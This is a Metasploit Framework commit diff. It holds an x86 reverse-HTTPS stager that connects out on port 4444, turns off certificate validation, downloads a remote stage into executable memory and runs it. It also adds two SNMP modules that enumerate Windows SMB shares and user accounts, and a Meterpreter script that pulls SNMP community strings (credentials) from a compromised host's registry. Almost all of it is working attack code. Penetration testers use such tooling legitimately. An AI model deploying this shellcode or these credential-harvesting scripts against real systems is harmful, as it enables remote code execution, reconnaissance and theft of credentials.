Two new SNMP community enumeration tools for Windows by tebo (local account list and SMB shares). Addition of a Meterpreter script for snagging the SNMP community from the registry

git-svn-id: file:///home/svn/framework3/trunk@11410 4d416f70-5f16-0410-b530-b9f4589650da
unstable
HD Moore 2010-12-25 06:08:34 +00:00
parent b7eec06041
commit 5875fdb701
4 changed files with 352 additions and 151 deletions

View File

@ -1,6 +1,6 @@
;-----------------------------------------------------------------------------; ;-----------------------------------------------------------------------------;
; Author: HD Moore ; Author: HD Moore
; Compatible: Confirmed Windows 7, Windows 2008 Server, Windows XP SP1, Windows SP3, Windows 2000 ; Compatible: Confirmed Windows 7, Windows 2008 Server, Windows XP SP1, Windows SP3, Windows 2000
; Known Bugs: Incompatible with Windows NT 4.0, buggy on Windows XP Embedded (SP1) ; Known Bugs: Incompatible with Windows NT 4.0, buggy on Windows XP Embedded (SP1)
; Version: 1.0 ; Version: 1.0
;-----------------------------------------------------------------------------; ;-----------------------------------------------------------------------------;
@ -11,159 +11,159 @@
; Clobbers: EAX, ESI, EDI, ESP will also be modified (-0x1A0) ; Clobbers: EAX, ESI, EDI, ESP will also be modified (-0x1A0)
load_wininet: load_wininet:
push 0x0074656e ; Push the bytes 'wininet',0 onto the stack. push 0x0074656e ; Push the bytes 'wininet',0 onto the stack.
push 0x696e6977 ; ... push 0x696e6977 ; ...
mov esi, esp ; Save a pointer to wininet mov esi, esp ; Save a pointer to wininet
push esp ; Push a pointer to the "wininet" string on the stack. push esp ; Push a pointer to the "wininet" string on the stack.
push 0x0726774C ; hash( "kernel32.dll", "LoadLibraryA" ) push 0x0726774C ; hash( "kernel32.dll", "LoadLibraryA" )
call ebp ; LoadLibraryA( "wininet" ) call ebp ; LoadLibraryA( "wininet" )
internetopen: internetopen:
xor edi,edi xor edi,edi
push edi ; DWORD dwFlags push edi ; DWORD dwFlags
push edi ; LPCTSTR lpszProxyBypass push edi ; LPCTSTR lpszProxyBypass
push edi ; LPCTSTR lpszProxyName push edi ; LPCTSTR lpszProxyName
push edi ; DWORD dwAccessType (PRECONFIG = 0) push edi ; DWORD dwAccessType (PRECONFIG = 0)
push esi ; LPCTSTR lpszAgent push esi ; LPCTSTR lpszAgent
push 0xA779563A ; hash( "wininet.dll", "InternetOpenA" ) push 0xA779563A ; hash( "wininet.dll", "InternetOpenA" )
call ebp call ebp
jmp dbl_get_server_host jmp short dbl_get_server_host
internetconnect: internetconnect:
pop ebx ; Save the hostname pointer pop ebx ; Save the hostname pointer
xor ecx, ecx xor ecx, ecx
push ecx ; DWORD_PTR dwContext (NULL) push ecx ; DWORD_PTR dwContext (NULL)
push ecx ; dwFlags push ecx ; dwFlags
push byte 3 ; DWORD dwService (INTERNET_SERVICE_HTTP) push byte 3 ; DWORD dwService (INTERNET_SERVICE_HTTP)
push ecx ; password push ecx ; password
push ecx ; username push ecx ; username
push dword 4444 ; PORT push dword 4444 ; PORT
push ebx ; HOSTNAME push ebx ; HOSTNAME
push eax ; HINTERNET hInternet push eax ; HINTERNET hInternet
push 0xC69F8957 ; hash( "wininet.dll", "InternetConnectA" ) push 0xC69F8957 ; hash( "wininet.dll", "InternetConnectA" )
call ebp call ebp
jmp get_server_uri jmp get_server_uri
httpopenrequest: httpopenrequest:
pop ecx pop ecx
xor edx, edx ; NULL xor edx, edx ; NULL
push edx ; dwContext (NULL) push edx ; dwContext (NULL)
push (0x80000000 | 0x04000000 | 0x00800000 | 0x00400000 | 0x00200000 |0x00001000 |0x00002000 |0x00000200) ; dwFlags push (0x80000000 | 0x04000000 | 0x00800000 | 0x00400000 | 0x00200000 |0x00001000 |0x00002000 |0x00000200) ; dwFlags
;0x80000000 | ; INTERNET_FLAG_RELOAD ;0x80000000 | ; INTERNET_FLAG_RELOAD
;0x04000000 | ; INTERNET_NO_CACHE_WRITE ;0x04000000 | ; INTERNET_NO_CACHE_WRITE
;0x00400000 | ; INTERNET_FLAG_KEEP_CONNECTION ;0x00400000 | ; INTERNET_FLAG_KEEP_CONNECTION
;0x00800000 | ; INTERNET_FLAG_SECURE ;0x00800000 | ; INTERNET_FLAG_SECURE
;0x00200000 | ; INTERNET_FLAG_NO_AUTO_REDIRECT ;0x00200000 | ; INTERNET_FLAG_NO_AUTO_REDIRECT
;0x00001000 | ; INTERNET_FLAG_IGNORE_CERT_CN_INVALID ;0x00001000 | ; INTERNET_FLAG_IGNORE_CERT_CN_INVALID
;0x00002000 | ; INTERNET_FLAG_IGNORE_CERT_DATE_INVALID ;0x00002000 | ; INTERNET_FLAG_IGNORE_CERT_DATE_INVALID
;0x00000200 ; INTERNET_FLAG_NO_UI ;0x00000200 ; INTERNET_FLAG_NO_UI
push edx ; accept types push edx ; accept types
push edx ; referrer push edx ; referrer
push edx ; version push edx ; version
push ecx ; url push ecx ; url
push edx ; method push edx ; method
push eax ; hConnection push eax ; hConnection
push 0x3B2E55EB ; hash( "wininet.dll", "HttpOpenRequestA" ) push 0x3B2E55EB ; hash( "wininet.dll", "HttpOpenRequestA" )
call ebp call ebp
mov esi, eax ; hHttpRequest mov esi, eax ; hHttpRequest
set_retry: set_retry:
push byte 0x02 push byte 0x02
pop ebx pop ebx
httpsendrequest: httpsendrequest:
xor edi, edi xor edi, edi
push edi ; optional length push edi ; optional length
push edi ; optional push edi ; optional
push edi ; dwHeadersLength push edi ; dwHeadersLength
push edi ; headers push edi ; headers
push esi ; hHttpRequest push esi ; hHttpRequest
push 0x7B18062D ; hash( "wininet.dll", "HttpSendRequestA" ) push 0x7B18062D ; hash( "wininet.dll", "HttpSendRequestA" )
call ebp call ebp
test eax,eax test eax,eax
jnz short allocate_memory jnz short allocate_memory
check_ssl: check_ssl:
; In the case of an invalid certificate authority, we have to wait until the error occurs, ; In the case of an invalid certificate authority, we have to wait until the error occurs,
; set an option to disable it, then try it all over again. This wastes shellcode space, ; set an option to disable it, then try it all over again. This wastes shellcode space,
; but its required to use this payload without a valid signed cert. ; but its required to use this payload without a valid signed cert.
; push 0x5DE2C5AA ; hash( "kernel32.dll", "GetLastError" ) ; push 0x5DE2C5AA ; hash( "kernel32.dll", "GetLastError" )
; call ebp ; call ebp
; cmp al, 0x0d ; ERROR_INTERNET_INVALID_CA (0x2f0d) ; cmp al, 0x0d ; ERROR_INTERNET_INVALID_CA (0x2f0d)
; Instead of wasting more bytes on GetLastError (which isn't resolving properly on Windows XP), ; Instead of wasting more bytes on GetLastError (which isn't resolving properly on Windows XP),
; we just try a second time if the initial send fails. This provides us with a real retry ; we just try a second time if the initial send fails. This provides us with a real retry
; mechanism for free. ; mechanism for free.
dec ebx dec ebx
jz failure jz failure
; InternetSetOption (hReq, INTERNET_OPTION_SECURITY_FLAGS, &dwFlags, sizeof (dwFlags) ); ; InternetSetOption (hReq, INTERNET_OPTION_SECURITY_FLAGS, &dwFlags, sizeof (dwFlags) );
set_security_options: set_security_options:
push 0x00003380 push 0x00003380
mov eax, esp mov eax, esp
push byte 4 ; sizeof(dwFlags) push byte 4 ; sizeof(dwFlags)
push eax ; &dwFlags push eax ; &dwFlags
push byte 31 ; DWORD dwOption (INTERNET_OPTION_SECURITY_FLAGS) push byte 31 ; DWORD dwOption (INTERNET_OPTION_SECURITY_FLAGS)
push esi ; hRequest push esi ; hRequest
push 0x869E4675 ; hash( "wininet.dll", "InternetSetOptionA" ) push 0x869E4675 ; hash( "wininet.dll", "InternetSetOptionA" )
call ebp call ebp
; pop eax ; clear temporary storage (optional) ; pop eax ; clear temporary storage (optional)
; Try it again ; Try it again
jmp short httpsendrequest jmp short httpsendrequest
dbl_get_server_host: dbl_get_server_host:
jmp get_server_host jmp get_server_host
get_server_uri: get_server_uri:
call httpopenrequest call httpopenrequest
server_uri: server_uri:
db "/12345", 0x00 db "/12345", 0x00
failure: failure:
push 0x56A2B5F0 ; hardcoded to exitprocess for size push 0x56A2B5F0 ; hardcoded to exitprocess for size
call ebp call ebp
allocate_memory: allocate_memory:
push byte 0x40 ; PAGE_EXECUTE_READWRITE push byte 0x40 ; PAGE_EXECUTE_READWRITE
push 0x1000 ; MEM_COMMIT push 0x1000 ; MEM_COMMIT
push 0x00400000 ; Stage allocation (8Mb ought to do us) push 0x00400000 ; Stage allocation (8Mb ought to do us)
push edi ; NULL as we dont care where the allocation is (zero'd from the prev function) push edi ; NULL as we dont care where the allocation is (zero'd from the prev function)
push 0xE553A458 ; hash( "kernel32.dll", "VirtualAlloc" ) push 0xE553A458 ; hash( "kernel32.dll", "VirtualAlloc" )
call ebp ; VirtualAlloc( NULL, dwLength, MEM_COMMIT, PAGE_EXECUTE_READWRITE ); call ebp ; VirtualAlloc( NULL, dwLength, MEM_COMMIT, PAGE_EXECUTE_READWRITE );
download_prep: download_prep:
xchg eax, ebx ; place the allocated base address in ebx xchg eax, ebx ; place the allocated base address in ebx
push ebx ; store a copy of the stage base address on the stack push ebx ; store a copy of the stage base address on the stack
push ebx ; temporary storage for bytes read count push ebx ; temporary storage for bytes read count
mov edi, esp ; &bytesRead mov edi, esp ; &bytesRead
download_more: download_more:
push edi ; &bytesRead push edi ; &bytesRead
push 8192 ; read length push 8192 ; read length
push ebx ; buffer push ebx ; buffer
push esi ; hRequest push esi ; hRequest
push 0xE2899612 ; hash( "wininet.dll", "InternetReadFile" ) push 0xE2899612 ; hash( "wininet.dll", "InternetReadFile" )
call ebp call ebp
test eax,eax ; download failed? (optional?) test eax,eax ; download failed? (optional?)
jz failure jz failure
mov eax, [edi] mov eax, [edi]
add ebx, eax ; buffer += bytes_received add ebx, eax ; buffer += bytes_received
test eax,eax ; optional? test eax,eax ; optional?
jnz download_more ; continue until it returns 0 jnz download_more ; continue until it returns 0
pop eax ; clear the temporary storage pop eax ; clear the temporary storage
execute_stage: execute_stage:
ret ; dive into the stored stage address ret ; dive into the stored stage address
get_server_host: get_server_host:
call internetconnect call internetconnect
server_host: server_host:

View File

@ -0,0 +1,73 @@
##
# $Id$
##
##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##
require 'msf/core'
class Metasploit3 < Msf::Auxiliary
include Msf::Exploit::Remote::SNMPClient
include Msf::Auxiliary::Report
include Msf::Auxiliary::Scanner
def initialize
super(
'Name' => 'SNMP Windows SMB Share Enumeration',
'Version' => '$Revision$',
'Description' => "This module will use LanManager OID values to enumerate SMB shares on a Windows system via SNMP",
'Author' => ['tebo[at]attackresearch.com'],
'License' => MSF_LICENSE
)
end
def run_host(ip)
begin
snmp = connect_snmp
share_tbl = ["1.3.6.1.4.1.77.1.2.27.1.1",
"1.3.6.1.4.1.77.1.2.27.1.2",
"1.3.6.1.4.1.77.1.2.27.1.3"]
if snmp.get_value('sysDescr.0') =~ /Windows/
@shares = []
snmp.walk(share_tbl) do |entry|
@shares << entry.collect{|x|x.value}
end
end
disconnect_snmp
if not @shares.empty?
print_good("#{ip} #{@shares.map{|x| "\n\t#{x[0]} - #{x[2]} (#{x[1]})" }.join}") #"
report_note(
:host => ip,
:proto => 'snmp',
:port => datastore['RPORT'],
:sname => 'smb',
:type => 'smb.shares',
:data => { :shares => @shares },
:update => :unique_data
)
end
rescue ::SNMP::UnsupportedVersion
rescue ::SNMP::RequestTimeout
rescue ::Interrupt
raise $!
rescue ::Exception => e
print_error("Unknown error: #{e.class} #{e}")
end
end
end

View File

@ -0,0 +1,71 @@
##
# $Id$
##
##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##
require 'msf/core'
class Metasploit3 < Msf::Auxiliary
include Msf::Exploit::Remote::SNMPClient
include Msf::Auxiliary::Report
include Msf::Auxiliary::Scanner
def initialize
super(
'Name' => 'SNMP Windows Username Enumeration',
'Version' => '$Revision$',
'Description' => "This module will use LanManager OID values to enumerate local user accounts on a Windows system via SNMP",
'Author' => ['tebo[at]attackresearch.com'],
'License' => MSF_LICENSE
)
end
def run_host(ip)
begin
snmp = connect_snmp
if snmp.get_value('sysDescr.0') =~ /Windows/
@users = []
snmp.walk("1.3.6.1.4.1.77.1.2.25") do |row|
row.each { |val| @users << val.value.to_s }
end
print_good("#{ip} Found Users: #{@users.sort.join(", ")} ")
end
disconnect_snmp
@users.each do |user|
report_note(
:host => rhost,
:port => datastore['RPORT'],
:proto => 'snmp',
:sname => 'smb',
:update => :unique_data,
:type => 'smb.username',
:data => user
)
end
rescue ::SNMP::UnsupportedVersion
rescue ::SNMP::RequestTimeout
rescue ::Interrupt
raise $!
rescue ::Exception => e
print_error("Unknown error: #{e.class} #{e}")
end
end
end

View File

@ -0,0 +1,57 @@
#copied getvncpw - thanks grutz/carlos
session = client
@@exec_opts = Rex::Parser::Arguments.new(
"-h" => [ false, "Help menu."]
)
def usage()
print("\nPull the SNMP community string from a Windows Meterpreter session\n\n")
completed
end
def get_community(session)
key = "HKLM\\System\\CurrentControlSet\\Services\\SNMP\\Parameters\\ValidCommunities"
root_key, base_key = session.sys.registry.splitkey(key)
open_key = session.sys.registry.open_key(root_key,base_key,KEY_READ)
begin
# oddly enough this does not return the data field which indicates ro/rw
return open_key.enum_value.collect {|x| x.name}
rescue
# no registry key found or other error
return nil
end
end
@@exec_opts.parse(args) { |opt, idx, val|
case opt
when "-h"
usage
end
}
if client.platform =~ /win32|win64/
print_status("Searching for community strings...")
strs = get_community(session)
if strs
strs.each do |str|
print_good("FOUND: #{str}")
@client.framework.db.report_auth_info(
:host => client.sock.peerhost,
:port => 161,
:proto => 'udp',
:sname => 'snmp',
:user => '',
:pass => str,
:type => "snmp.community",
:duplicate_ok => true
)
end
else
print_status("Not found")
end
else
print_error("This version of Meterpreter is not supported with this Script!")
raise Rex::Script::Completed
end